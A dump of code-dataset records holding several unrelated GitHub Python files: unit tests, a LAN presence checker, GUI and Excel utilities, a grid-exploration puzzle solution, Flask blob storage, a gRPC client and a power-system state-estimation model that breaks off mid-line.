test_neo_table(self):\r\n conn = sqlite3.connect(DBNAME)\r\n cur = conn.cursor()\r\n\r\n sql = '''\r\n SELECT Diameter, ClosestApproach, Hazardous, Name\r\n FROM NearEarthObjects\r\n '''\r\n results = cur.execute(sql)\r\n result_list = results.fetchall()\r\n self.assertEqual(len(result_list[0]), 4) #Asserts that the length of the two arguments are equal, 4 columns will come back\r\n conn.close()\r\n\r\n\r\nclass TestPlots(unittest.TestCase):\r\n\r\n def test_neo_plot(self):\r\n neoInst = NEO()\r\n a, b = neoInst.getData()\r\n self.assertIsNotNone(a)\r\n self.assertIsNotNone(b)\r\n self.assertNotEqual(len(a['dist']), len(b['dist']))\r\n div = neoInst.makePlot()\r\n self.assertIsNotNone(div)\r\n\r\n def test_flare_plot(self):\r\n flareInst = SolarFlares()\r\n a = flareInst.getData()\r\n self.assertIsNotNone(a)\r\n self.assertEqual(len(a['y']), len(a['class'])) #Makes sure that the length of the amount of y's is the same as the length of amount of classes, etc.\r\n div = flareInst.makePlot()\r\n self.assertIsNotNone(div)\r\n\r\n def test_cme_plot(self):\r\n cmeInst = CME()\r\n a = cmeInst.getData()\r\n self.assertIsNotNone(a)\r\n self.assertEqual(len(a['speed']), len(a['long']))\r\n div = cmeInst.makePlot()\r\n self.assertIsNotNone(div)\r\n\r\n def test_paricle_plot(self):\r\n paricleInst = SESE()\r\n a = paricleInst.getData()\r\n self.assertIsNotNone(a)\r\n self.assertEqual(len(a['count']), len(a['date']))\r\n div = paricleInst.makePlot()\r\n self.assertIsNotNone(div)\r\n\r\n\r\nunittest.main()\r\n","repo_name":"LaurenElbaum/507_final_proj","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9028496096","text":"#!/usr/bin/env python3\n\nimport sqlite3\nfrom subprocess import check_output, CalledProcessError\nfrom time import time\nfrom re import findall\nfrom sys import argv\nfrom pprint import pprint\n\npath = \"/home/kevin/homeChecker/home.db\"\n\ndef getOnlineClients():\n try:\n arpOutput = check_output(\"sudo arp-scan -l\", shell=True)\n arpOutput = arpOutput.decode()\n \n macAdr = findall('(([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2}))', arpOutput)\n return [i[0] for i in macAdr]\n\n except CalledProcessError:\n print(\"Not able to run 'arp-scan -l' on this machine.\")\n exit(0)\n\ndef getAddr(c):\n c.execute('SELECT adr FROM clients')\n \n return [i[0] for i in c.fetchall()]\n\ndef getTimes():\n conn = sqlite3.connect(path)\n c = conn.cursor()\n\n c.execute('SELECT c.name, l.timesince FROM lastonline AS l JOIN clients AS c WHERE l.clientadr=c.adr')\n\n returnList = []\n for name, time in c.fetchall():\n returnList.append({\"name\": name, \"time\": convertTime(time)})\n\n conn.close()\n\n return returnList\n\ndef convertTime(seconds):\n if not isinstance(seconds, (int, float)):\n return 'Null'\n\n delta = int(time() - seconds)\n if delta >= 86400:\n return str(delta//86400) + ' days'\n elif delta >= 3600:\n if delta//3600 < 10:\n parent = str(delta//3600)\n child = str((delta - (3600 * (delta//3600)))//60)\n if len(child) == 1:\n child = '0' + child\n return parent + ':' + child + ' hours'\n else:\n return str(delta//3600) + ' hours'\n elif delta >= 60:\n return str(delta//60) + ' minutes'\n else:\n return str(delta) + ' seconds'\n\n\ndef updateTimes():\n curTime = time()\n conn = sqlite3.connect(path)\n c = conn.cursor()\n \n online = list(set(getOnlineClients()) & set(getAddr(c)))\n\n for adr in online:\n c.execute('UPDATE lastonline SET timesince='+ \"%0.2f\" % curTime +' WHERE clientadr=\"'+ adr + '\"')\n\n conn.commit()\n conn.close()\n\n return (online)\n\nif __name__ == '__main__':\n if argv[-1] == 'get':\n pprint(getTimes()) \n else:\n print(\"Updated following clients:\", updateTimes())\n\n \n\n\n","repo_name":"KevinMidboe/homeChecker","sub_path":"macLookup.py","file_name":"macLookup.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28894926190","text":"import csv\nimport tkinter as tk\nfrom task2b import print_to_file_genre_stats_by_country\n\ndef handle_task2b(event):\n\tfile_path = 'IMDB.csv'\n\tprint_to_file_genre_stats_by_country(file_path, output_path.get(), country.get())\n\tprint(\"Task2b was executed!\")\n\n\nif __name__ == '__main__':\n\tgui = tk.Tk()\n\tgui.title(\"Task2b\")\n\tgui.geometry(\"210x125\")\n\tmessage1 = tk.Label(text=\"country name\")\n\tcountry = tk.Entry()\n\tmessage2 = tk.Label(text=\"save file name\")\n\toutput_path = tk.Entry()\n\ttask2b_button = tk.Button(text=\"Task2b\")\n\n\tmessage1.pack()\n\tcountry.pack()\n\tmessage2.pack()\n\toutput_path.pack()\n\ttask2b_button.pack()\n\n\ttask2b_button.bind(\"\", handle_task2b)\n\tgui.mainloop()\n","repo_name":"OfirGilad369/ESPL-Projects","sub_path":"Lab9/plumbum-1.6.3/task3_2b.py","file_name":"task3_2b.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70300942488","text":"import openpyxl\nimport os\nimport re\nimport pprint\nfrom operator import itemgetter\n\nnumberRegex = re.compile(r'(\\d.(\\d)?\\d.\\d(\\d)?)')\n\ndef sortList(myList):\n for i in range(0,len(unsortedList),1):\n temp = unsortedList[i].split('.')\n temp[0] = int(temp[0])\n temp[1] = int(temp[1])\n temp[2] = int(temp[2])\n unsortedList[i] = temp\n x = sorted(unsortedList, key = itemgetter(2))\n y = sorted(x, key = lambda z: z[1])\n v = sorted(y, key = lambda z: z[0])\n for i in range(0,len(v),1):\n temp = v[i]\n temp[0] = str(temp[0])\n temp[1] = str(temp[1])\n temp[2] = str(temp[2])\n temp = unsortedList[i]\n temp2 = \".\".join(v[i])\n v[i] = temp2\n return v\n\n\nprint('Give excel file current directory')\nexcelDirectory = input()\nos.chdir(excelDirectory)\n\nprint('Give the name of the file (without the extension)')\nfileName = input()\nworkBook = openpyxl.load_workbook(fileName + '.xlsx')\n\nworkSheet = workBook.active\nfirstColumnList = list(workSheet.columns)[0]\n\nunsortedList = []\n\nfor cellObject in firstColumnList:\n mo = numberRegex.search(str(cellObject.value))\n if(mo is not None):\n unsortedList.append(mo.group())\n\n\nsortedList = sortList(unsortedList)\ndictonary = {}\ni = 0\nfor strings in sortedList:\n i = i + 1\n dictonary[strings]= i\nfor x, y in dictonary.items():\n print(x, y)\n\nfileObj = open('csubDictionary.py', 'w')\nfileObj.write('csub = ' + pprint.pformat(dictonary) + '\\n')\nfileObj.close()\n","repo_name":"MaciejFranikowski/excel_to_SAP_automation","sub_path":"generatorFunctions/csubListDictionaryGenerator.py","file_name":"csubListDictionaryGenerator.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3914520871","text":"# https://www.acmicpc.net/problem/14503\n# 그래프 문제 \ndx = [ -1, 0, 1, 0 ]\ndy = [ 0, 1, 0, -1 ]\n\ndef turn():\n global d \n d = (d-1) % 4 \n\nn, m = map(int,input().split())\nx, y, d = map(int,input().split())\n\ngraph = []\n\nfor _ in range(n):\n graph.append(list(map(int,input().split())))\n\n# 출발 지점 방문 표시 \ngraph[x][y] = 2\ncount = 1 \n\nwhile True :\n # 네 방향에 청소할 공간이 있는지 확인 \n check = False \n # 왼쪽으로 회전 \n for _ in range(4):\n turn()\n nx = x + dx[d]\n ny = y + dy[d]\n if 0 <= nx < n and 0<= ny < m :\n # 청소할 공간이 있다면 \n if graph[nx][ny] == 0 :\n count += 1 \n # 방문 표시 \n graph[nx][ny] = 2\n # 청소할 공간이 있음을 표시 \n check = True \n # 이동 \n x, y = nx, ny \n break \n # 청소할 공간이 없다면 \n if not check :\n # 후진 \n nx = x - dx[d]\n ny = y - dy[d]\n if 0<= nx < n and 0<= ny < m :\n # 후진 \n if graph[nx][ny] == 2 :\n x, y = nx, ny\n # 벽이라 후진할 수 없다면 \n if graph[nx][ny] == 1 :\n print(count)\n break\n # 후진할 수 없다면 \n else :\n print(count)\n break\n","repo_name":"pjw5521/Coding_Test_Algorithm","sub_path":"Baekjoon_Algorithm/삼성 SW 역량 테스트 기출 문제/14503 로봇 청소기.py","file_name":"14503 로봇 청소기.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7095583056","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Tools module.\"\"\"\n\n__version__ = '1.0'\n__author__ = 'Victor Augusto'\n__copyright__ = \"Copyright (c) 2018 - Victor Augusto\"\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\n\nclass Tools(object):\n \"\"\"Class with tools for complex network visualization operations.\"\"\"\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n\n def __del__(self):\n \"\"\"Destructor.\"\"\"\n del self\n\n def save_image(self, data, dpi=100):\n \"\"\"save_image method.\n Saves the ndarray object as a png file.\n :param data Image to be saved in a png format file.\n :param dpi Amount of dots per inch, the printing resolution.\n \"\"\"\n # Get the ndarray shape and set the amount of inches in the matplotlib figure.\n shape = np.shape(data)[0:2][::-1]\n size = [ float(i) / dpi for i in shape]\n\n fig = plt.figure()\n fig.set_size_inches(size)\n ax = plt.Axes(fig,[0,0,1,1])\n\n # Do not print the default matplotlib axis.\n ax.set_axis_off()\n fig.add_axes(ax)\n\n plt.imshow(data, cmap=\"gray\")\n\n # Save it as a png file.\n fig.savefig('out.png', dpi=dpi)\n\n plt.show()\n\n def plot_dataset(self, x, y):\n fig = plt.figure()\n ax = fig.add_subplot(111)\n\n def onclick(event):\n print( 'button=%d, x=%d, y=%d, xdata=%f, ydata=%f'%(\n event.button, event.x, event.y, event.xdata, event.ydata))\n\n cid = fig.canvas.mpl_connect('button_press_event', onclick)\n\n plt.scatter(x, y)\n plt.show()\n\n def plot_graph(self, graph):\n nx.draw(graph)\n plt.show()\n\n def save_graph(self, graph, path, dpi=100):\n \"\"\"save_image method.\n Saves the ndarray object as a png file.\n :param data Image to be saved in a png format file.\n :param dpi Amount of dots per inch, the printing resolution.\n \"\"\"\n # Get the ndarray shape and set the amount of inches in the matplotlib figure.\n # shape = np.shape(data)[0:2][::-1]\n # size = [ float(i) / dpi for i in shape]\n\n fig = plt.figure()\n # fig.set_size_inches(size)\n ax = plt.Axes(fig,[0,0,1,1])\n\n # # Do not print the default matplotlib axis.\n ax.set_axis_off()\n fig.add_axes(ax)\n\n nx.draw(graph)\n\n arr = path.split('/')\n p = '/home/victor/Documents/python-msc-workspace/laura/'\n\n f = arr[-1].replace('.txt', '')\n\n p = p + 'output/' + arr[-4] + '/' + arr[-3] + '/' + arr[-2] + '/'\n\n # Save it as a png file.\n fig.savefig(p + f +'.png', dpi=dpi)\n\n def pretty_print_parameters(self, filename, threshold):\n arr = filename.split('/')\n \n section = arr[-1].replace('.txt', '')\n leaf = arr[-2].replace('F','')\n group = arr[-3]\n day = arr[-4]\n\n print('=============== Info')\n print('\\nDay: ' + day)\n print('\\nGroup: ' + group)\n print('\\nLeaf: ' + leaf)\n print('\\nSection: ' + section)\n print('\\nDistance Threshold: ' + str(threshold))\n print('\\n')","repo_name":"vaugus/stomata-complex-network-analysis","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19693455698","text":"import io\n\nimport flask\nfrom flask.wrappers import Response\nfrom warp.db import *\n\ndef deleteBlob(blobId = None, blobIdQuery = None):\n\n if blobId is not None:\n query = Blobs.delete() \\\n .where(Blobs.id == blobId)\n elif blobIdQuery is not None:\n query = Blobs.delete() \\\n .where(Blobs.id.in_(blobIdQuery))\n else:\n return 0\n\n with DB.atomic():\n\n rowCount = query.execute()\n\n return rowCount\n\n\ndef addOrUpdateBlob(mimeType, data, blobId = None):\n\n with DB.atomic():\n\n if blobId is not None:\n\n rowCount = Blobs.update({\n Blobs.mimetype: mimeType,\n Blobs.data: data,\n Blobs.etag: Blobs.etag + 1\n }).where(Blobs.id == blobId).execute()\n\n if rowCount != 1:\n return None\n\n else:\n\n insertCursor = Blobs.insert({\n Blobs.mimetype: mimeType,\n Blobs.data: data,\n Blobs.etag: 1\n }) \\\n .returning(Blobs.id) \\\n .execute()\n\n blobId = insertCursor[0]['id']\n\n return blobId\n\n\n\ndef createBlobResponse(blobId = None, blobIdQuery = None):\n\n if blobId is not None:\n query = Blobs.select() \\\n .where(Blobs.id == blobId)\n elif blobIdQuery is not None:\n query = Blobs.select() \\\n .where(Blobs.id.in_(blobIdQuery))\n else:\n flask.abort(400)\n\n blobEtag = query.columns(Blobs.etag).scalar()\n if blobEtag is None:\n flask.abort(404)\n blobEtag = str(blobEtag)\n\n r304 = Response()\n r304.add_etag(blobEtag)\n r304.make_conditional(flask.request)\n\n if r304.status_code != 200:\n return r304\n\n row = query.columns(Blobs.data, Blobs.mimetype).scalar(as_tuple = True)\n\n if row is None:\n flask.abort(404)\n\n resp = flask.send_file(\n io.BytesIO(row[0]),\n mimetype=row[1],\n etag=blobEtag)\n\n resp.cache_control.no_cache = True\n resp.cache_control.private = True\n\n return resp\n\n\n","repo_name":"sebo-b/warp","sub_path":"warp/blob_storage.py","file_name":"blob_storage.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"31"} +{"seq_id":"37034239338","text":"import grpc\r\nimport movie_pb2\r\nimport movie_pb2_grpc\r\nimport mysql.connector\r\n\r\ndef run():\r\n # Connect to the gRPC server\r\n with grpc.insecure_channel('localhost:5000') as channel:\r\n stub = movie_pb2_grpc.MovieRatingServiceStub(channel)\r\n\r\n # Add a new rating\r\n response = stub.AddRating(movie_pb2.MovieRating(movie_id=10, rating=4))\r\n print(f\"Added movie rating for id {response.movie_id} with rating {response.rating}\")\r\n\r\n # Get a rating\r\n response = stub.GetRating(movie_pb2.MovieId(movie_id=8))\r\n if response.rating:\r\n print(f\"Rating for movie with id {response.movie_id} is {response.rating}\")\r\n else:\r\n print(f\"Rating not found for movie with id {response.movie_id}\")\r\n\r\n # Update a rating\r\n response = stub.UpdateRating(movie_pb2.MovieRating(movie_id=9, rating=5))\r\n if response.rating:\r\n print(f\"Updated movie rating for id {response.movie_id} to {response.rating}\")\r\n else:\r\n print(f\"Rating not found for movie with id {response.movie_id}\")\r\n\r\n # Delete a rating\r\n response = stub.DeleteRating(movie_pb2.MovieId(movie_id=4))\r\n if response.rating:\r\n print(f\"Deleted movie rating for id {response.movie_id} with rating {response.rating}\")\r\n else:\r\n print(f\"Rating not found for movie with id {response.movie_id}\")\r\n\r\nif __name__ == '__main__':\r\n run()\r\n","repo_name":"ShinjiTakeru00/Pemrograman-Integratif","sub_path":"RATING_GRPC/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38542632713","text":"from pyomo.environ import Var, ConcreteModel, ConstraintList, NonNegativeReals, Objective, minimize, SolverFactory, value, expr\nfrom scripts.Measure import measure_RTU\nfrom scripts.Measure import measure_PMU\nfrom models.Buses import Buses\nfrom models.Rtu import Rtu\nimport numpy as np\nimport pandas as pd\nfrom scripts.options import unknown_branch_G, unknown_G_branch_id, unknown_branch_B, unknown_B_branch_id, \\\n\tunknown_branch_sh, unknown_sh_branch_id, unknown_transformer_tr, unknown_tr_transformer_id, \\\n\t\ttolerance, max_iter, flag_tee, model_type, delta_B,get_estB,test_Mc,B_ineq_cosntraint,Obj_scal_factor\\\n\t,w_slack, w_nv, w_nr, w_ni\n\n\n\ndef State_estimation(v, Y_final, bus, branch, flag_WGN, transformer, shunt, slack, rtu):\n\t#number of buses\n\tnum_buses = len(bus)\n\t#number of rtus\n\tnum_rtus = len(rtu)\n\n\tprint(num_buses)\n\t# Set model to be concrete\n\tmodel = ConcreteModel()\n\tmodel.name = \"NLP_NC\"\n\t#define measurement data\n\t# z_RTU0, z_RTU = measure_RTU(v, bus, branch, transformer, shunt, flag_WGN)\n\n\tmodel.ipopt_vr_list = Var(range(num_buses))\n\tmodel.ipopt_vi_list = Var(range(num_buses))\n\n\tmodel.ipopt_slack_nr = Var()\n\tmodel.ipopt_nr_list = Var(range(num_rtus))\n\tmodel.ipopt_ni_list = Var(range(num_rtus))\n\tmodel.ipopt_nv_list = Var(range(num_rtus))\n\t\n\n\t# define variables\n\tfor bus_ele in bus:\n\t\tbus_ele.create_ipopt_bus_vars(model)\n\t\tbus_ele.initialize_ipopt_bus_vars()\n\t\n\tfor slack_ele in slack:\n\t\tslack_ele.create_ipopt_slack_var(model)\n\t\tslack_ele.initialize_ipopt_slack_var()\n\n\tfor rtu_ele in rtu:\n\t\trtu_ele.create_ipopt_noise_vars(model)\n\t\trtu_ele.initialize_ipopt_bus_vars()\n\n\t#model.n_g = Var(range(1, num_buses+1))\n\t#model.n_b = Var(range(1, num_buses+1))\n\t\n\t# Move this to Slack class \n\n\t\n\t#Constraint list\n\tmodel.consl = ConstraintList()\t\n\n\tline_data = {}\n\tfor ele in branch:\n\t\tline_data[ele.from_bus, ele.to_bus, ele.id] = {'G': ele.G_l, 'B': ele.B_l, 'b': ele.b}\n\t\tline_data[ele.to_bus, ele.from_bus, ele.id] = {'G': ele.G_l, 'B': ele.B_l, 'b': ele.b}\n\t\n\ttransformer_data = {}\n\tfor ele in transformer:\n\t\ttransformer_data[ele.from_bus, ele.to_bus] = {'G':ele.G_l, 'B':ele.B_l,'tr':ele.tr, 'ang':ele.ang}\n\t\n\tif unknown_branch_B: # Create and initialize B variables for unknown B \n\t\t\n\t\tunknown_B_between = []\n\t\tindex_unknownB = 0\n\t\t\n\t\tnum_unknownB = len(unknown_B_branch_id)\n\t\tmodel.ipopt_B_list = Var(range(num_unknownB))\n\t\t\n\t\t# if test_Mc:\n\t\t# \tmodel.ipopt_wr_list = Var(range(num_unknownB))\n\t\t# \tmodel.ipopt_wi_list = Var(range(num_unknownB))\n\t\t\n\t\tprint (\"Number of Unknown B:\",num_unknownB) # The number of unknown B is equal to the length of unknown B \n\t\t\n\t\tbranch_to_unknownB_key = {}\n\t\tfor ele_branch in branch:\n\t\t\tfor ele_unknownB_id in unknown_B_branch_id:\n\t\t\t\tif ele_branch.id == ele_unknownB_id:\n\t\t\t\t\tele_branch.unknown_B = True\n\t\t\t\t\tunknown_B_between.append((ele_branch.from_bus, ele_branch.to_bus, ele_branch.id))\n\t\t\t\t\tbranch_to_unknownB_key.update({ele_branch.id:index_unknownB})\n\t\t\t\t\tindex_unknownB += 1\n\t\t\t\n\t\t\tif ele_branch.unknown_B:\n\t\t\t\tele_branch.create_ipopt_B_vars(\n\t\t\t\t\t\t\t\t\t\t\tbranch_to_unknownB_key, \n\t\t\t \t\t\t\t\t\t\t\tmodel)\n\t\t\t\tele_branch.initialize_ipopt_B_vars()\n\t\t\n\t\treal_B_dict = {}\n\t\tcounter = 0\n\t\treal_B_list = []\n\t\t\n\t\tfor branches in unknown_B_between:\n\t\t\t(a,b,id) = branches # Branch from bus a to bus b\n\t\t\t\n\t\t\t# TODO also Move this to branch class\n\t\t\t# Change the data in Class branch\t\t\t\t\t\n\t\t\t\n\t\t\treal_B = [line_data[a,b,id][\"B\"]]\n\t\t\treal_B_list.append(line_data[a,b,id][\"B\"])\n\t\t\t\n\t\t\treal_B_dict.update({(a,b,id):real_B})\n\t\t\treal_B_dict.update({(b,a,id):real_B})\n\n\t\t\tcounter += 1\n\t\n\tif unknown_branch_G: # Create and initialize G variables for unknown G \n\t\t\n\t\tunknown_G_between = []\n\t\tindex_unknownG = 0\n\t\t\n\t\tnum_unknownG = len(unknown_G_branch_id)\n\t\tprint (\"num_unknownG\",num_unknownG)\n\t\tmodel.ipopt_G_list = Var(range(num_unknownG))\n\t\t\n\t\t# if test_Mc:\n\t\t# \tmodel.ipopt_wr_list = Var(range(num_unknownB))\n\t\t# \tmodel.ipopt_wi_list = Var(range(num_unknownB))\n\t\t\n\t\tprint (\"Number of Unknown G:\",num_unknownG) # The number of unknown G is equal to the length of unknown G \n\t\t\n\t\tbranch_to_unknownG_key = {}\n\t\tfor ele_branch in branch:\n\t\t\tfor ele_unknownG_id in unknown_G_branch_id:\n\t\t\t\tif ele_branch.id == ele_unknownG_id:\n\t\t\t\t\tele_branch.unknown_G = True\n\t\t\t\t\tunknown_G_between.append((ele_branch.from_bus, ele_branch.to_bus, ele_branch.id))\n\t\t\t\t\tbranch_to_unknownG_key.update({ele_branch.id:index_unknownG})\n\t\t\t\t\tindex_unknownG += 1\n\t\t\t\n\t\t\tif ele_branch.unknown_G:\n\t\t\t\tele_branch.create_ipopt_G_vars(\n\t\t\t\t\t\t\t\t\t\t\tbranch_to_unknownG_key, \n\t\t\t \t\t\t\t\t\t\t\tmodel)\n\t\t\t\tele_branch.initialize_ipopt_G_vars()\n\n\tif unknown_branch_sh: # Create and initialize sh variables for unknown shunts\n\t\t\n\t\tunknown_sh_between = []\n\t\tindex_unknownsh = 0\n\t\t\n\t\tnum_unknownsh = len(unknown_sh_branch_id)\n\t\tmodel.ipopt_sh_list = Var(range(num_unknownsh))\n\t\t\n\t\t# if test_Mc:\n\t\t# \tmodel.ipopt_wr_list = Var(range(num_unknownB))\n\t\t# \tmodel.ipopt_wi_list = Var(range(num_unknownB))\n\t\t\n\t\tprint (\"Number of Unknown sh:\",num_unknownsh) # The number of unknown B is equal to the length of unknown B \n\t\t\n\t\tbranch_to_unknownsh_key = {}\n\t\tfor ele_branch in branch:\n\t\t\tfor ele_unknownsh_id in unknown_sh_branch_id:\n\t\t\t\tif ele_branch.id == ele_unknownsh_id:\n\t\t\t\t\tele_branch.unknown_sh = True\n\t\t\t\t\tunknown_sh_between.append((ele_branch.from_bus, ele_branch.to_bus, ele_branch.id))\n\t\t\t\t\tbranch_to_unknownsh_key.update({ele_branch.id:index_unknownsh})\n\t\t\t\t\tindex_unknownsh += 1\n\t\t\t\n\t\t\tif ele_branch.unknown_sh:\n\t\t\t\tele_branch.create_ipopt_sh_vars(\n\t\t\t\t\t\t\t\t\t\t\tbranch_to_unknownsh_key, \n\t\t\t \t\t\t\t\t\t\t\tmodel)\n\t\t\t\tele_branch.initialize_ipopt_sh_vars()\n\n\t\tif unknown_transformer_tr: # Create and initialize B variables for unknown B \n\t\t\n\t\t\tunknown_tr_between = []\n\t\t\tindex_unknowntr = 0\n\t\t\t\n\t\t\tnum_unknowntr = len(unknown_tr_transformer_id)\n\t\t\tmodel.ipopt_tr_list = Var(range(num_unknowntr))\n\t\t\t\n\t\t\t# if test_Mc:\n\t\t\t# \tmodel.ipopt_wr_list = Var(range(num_unknownB))\n\t\t\t# \tmodel.ipopt_wi_list = Var(range(num_unknownB))\n\t\t\t\n\t\t\tprint (\"Number of Unknown tr:\",num_unknowntr) # The number of unknown B is equal to the length of unknown B \n\t\t\t\n\t\t\txfm_to_unknowntr_key = {}\n\t\t\tfor ele_xfm in transformer:\n\t\t\t\t\n\t\t\t\tfor ele_unknowntr_id in unknown_tr_transformer_id:\n\t\t\t\t\tif ele_xfm.id == ele_unknowntr_id:\n\t\t\t\t\t\tele_xfm.unknown_tr = True\n\t\t\t\t\t\tunknown_tr_between.append((ele_xfm.from_bus, ele_xfm.to_bus, ele_xfm.id))\n\t\t\t\t\t\txfm_to_unknowntr_key.update({ele_xfm.id:index_unknowntr})\n\t\t\t\t\t\tindex_unknowntr += 1\n\t\t\t\t\n\t\t\t\tif ele_xfm.unknown_tr:\n\t\t\t\t\tele_xfm.create_ipopt_tr_vars(\n\t\t\t\t\t\t\t\t\t\t\t\txfm_to_unknowntr_key, \n\t\t\t\t\t\t\t\t\t\t\t\tmodel)\n\t\t\t\t\tele_xfm.initialize_ipopt_tr_vars()\n\n\t'Not ready to turn on'\n\t#TODO with more than one unknown B or G, the following code need to be loop\n\n\t# if unknown_branch_G: #Test the unknown G on branch compare (4,3) (3,4) and (1,2)(2,1)\n\t# \t(a,b) = unknown_G_between\n\t# \treal_G = [line_data[a,b][\"G\"]]\n\t# \t# print(\"Real G\", line_data[a,b][\"G\"])\n\t# \tmodel.G = Var(within = NonNegativeReals)\n\n\t# \t# Initialize G\n\t# \tmodel.G = 1\n\n\t# \tline_data[a, b]['G'] = model.G\n\t# \tline_data[b, a]['G'] = model.G\n\t# \t\"\"\"\n\t# \tIf true, setting a G at branch (a,b) to be unknown variable G, with\n\t# \ta initial point set in model.G\n\n\t# \tNote if add one unknown G is added to the problem, all two equality\n\t# \tconstraints related to this with G is affected.\n\n\t# \tEach G unknown added is replacing 2 affine equlity constraints to\n\t# \t2 quadratic equlity constraints\n\t# \t\"\"\"\n\t# else:\n\t# \tpass\n\t\n\t\n\t# if unknown_branch_B: #Test the unknown B on branch compare (4,3) (3,4) and (1,2)(2,1)\n\t\t\n\t# \treal_B_dict = {}\n\t# \tnum_unknownB = len(unknown_B_branch_id)\n\t\t\n\t# \t# model.ipopt_B_list = Var(range(num_unknownB)) \n\t# \t# print (\"Number of Unknown B:\",num_unknownB) # The number of unknown B is equal to the length of unknown B \n\t\t\n\t# \t# # Make a num_unknownB to branch_id \n\t# \t# index_unknownB = 0\n\t# \t# for ele_branch in branch:\n\t# \t# \tfor ele_unknownB_id in unknown_B_branch_id:\n\t# \t# \t\tif ele_branch.id == ele_unknownB_id:\n\t# \t# \t\t\tele_branch.unknown_B = True\n\t# \t# \t\t\tbranch_to_unknownB_key.update({ele_branch.id:index_unknownB})\n\t# \t# \t\t\tindex_unknownB += 1\n\t# \tcounter = 0\n\t# \treal_B_list = []\n\t# \tfor branches in unknown_B_between:\n\t# \t\t(a,b,id) = branches # Branch from bus a to bus b\n\t\t\t\n\t# \t\t# TODO also Move this to branch class\n\t# \t\t# Change the data in Class branch\t\t\t\t\t\n\t\t\t\n\t# \t\treal_B = [line_data[a,b,id][\"B\"]]\n\t# \t\treal_B_list.append(line_data[a,b,id][\"B\"])\n\t\t\t\n\t# \t\treal_B_dict.update({(a,b,id):real_B})\n\t# \t\treal_B_dict.update({(b,a,id):real_B})\n\n\t# \t\tcounter += 1\n\t# else:\n\t# \tpass\n\t\n\t\n\t# Define the objective function to minimize noise\" \n\tmodel.noise = Objective(expr\n\t\t\t \t\t\t\t\t= w_slack*(model.ipopt_slack_nr**2)\\\n\t\t\t \t\t\t\t\t+ w_nv*sum(rtu_ele.ipopt_nv**2 for rtu_ele in rtu)\\\n\t\t\t \t\t\t\t\t+ w_nr*sum(rtu_ele.ipopt_nr**2 for rtu_ele in rtu)\\\n\t\t \t\t\t\t\t\t+ w_ni*sum(rtu_ele.ipopt_ni**2 for rtu_ele in rtu)\\\n\t\t\t\t\t\t\t,sense = minimize)\n\t\n\n\t\n\t\n\t############TESTONLY###############\n\t\n\t############TESTONLY###############\n\t# flag_ZIbus = np.zeros(shape=(num_buses+1,))\n\n\t# Should not be rtu if ZI \n\t\n\trtu_bus_list=[]\n\tall_bus_list=[]\n\tfor rtu_ele in rtu:\n\t\trtu_bus_list.append(rtu_ele.Bus)\n\tfor bus_ele in bus:\n\t\tall_bus_list.append(bus_ele.Bus)\n\tnotZI_bus_list = list(set(rtu_bus_list) & set(all_bus_list))\n\t# print(\"NOT ZI:\",notZI_bus_list)\n\n\tfor ele in notZI_bus_list:\n\t\tbus[Buses.all_bus_key_[ele]].flag_ZIbus = 0 # now the default is 1 for this flag\n\t\n\tcount_ZI = 0\n\tfor ele_bus in bus:\n\t\tif ele_bus.flag_ZIbus == 1:\n\t\t\tcount_ZI += 1\n\t\t\t# print (\"num_ZIbus:\",ele_bus.Bus) # TO show whitch buses are ZI\n\t\t\n\t\t\t\n\n\n\tfor rtu_ele in rtu:\t\n\t\tif abs(rtu_ele.p_mea) <= 1e-6 and abs(rtu_ele.q_mea) <= 1e-6:\n\t\t\tbus[Buses.all_bus_key_[rtu_ele.Bus]].flag_ZIbus = 1\n\t\t\tprint (\"+++++++++++++++++++++++ ALEART: ZEROINJECTION UNREMOVED ++++++++++++++++++++++++\",rtu_ele.Bus) # If this prints, means ZI not fully removed form Rtu list\n\n\n\t# Add Slack Contribution\n\tfor slack_ele in slack:\n\t\trtu_ele = rtu[Rtu.bus_key[slack_ele.Bus]]\n\t\tslack_ele.add_ipopt_slack_constraint(model, \n\t\t\t\t\t rtu_ele.vmag_mea, \n\t\t\t\t\t\t\t\t\t\t\t bus)\n\t\t\n\t\t#TODO: WHAT ABOUT SLACK RTU G and B constraint\n\n\t# Define the KCL equations\n\tfor bus_ele in bus:\n\t\t\n\t\tif B_ineq_cosntraint:\n\t\t\t\tfor branch_ele in branch:\n\t\t\t\t\t# if branch_ele.unknown_B:\n\t\t\t\t\tif branch_ele.unknown_B and branch_ele.from_bus == bus_ele.Bus: # Wait why this is changing the result?\n\t\t\t\t\t\t# print (\"What Branch is this:\",branch_ele.from_bus,branch_ele.to_bus)\n\t\t\t\t\t\tbranch_ele.add_B_ineq_constraint(model) # For scalling to work this is needed\n\t\t\t\t\n\t\t\n\t\tif bus_ele.flag_ZIbus == 0:\n\t\t\t# print (\"what is the vr at bus\",bus_ele.Bus ,\"?\",value(bus_ele.ipopt_vr ))\n\t\t\t# print (\"what is the vi at bus\",bus_ele.Bus ,\"?\",value(bus_ele.ipopt_vi ))\n\t\t\n\t\t\n\t\t\t#TODO why this constraint?\n\t\t\t# model.consl.add(expr=(model.v_r[i]**2 + model.v_i[i]**2 - z_RTU[i]['v_mag']**2 - 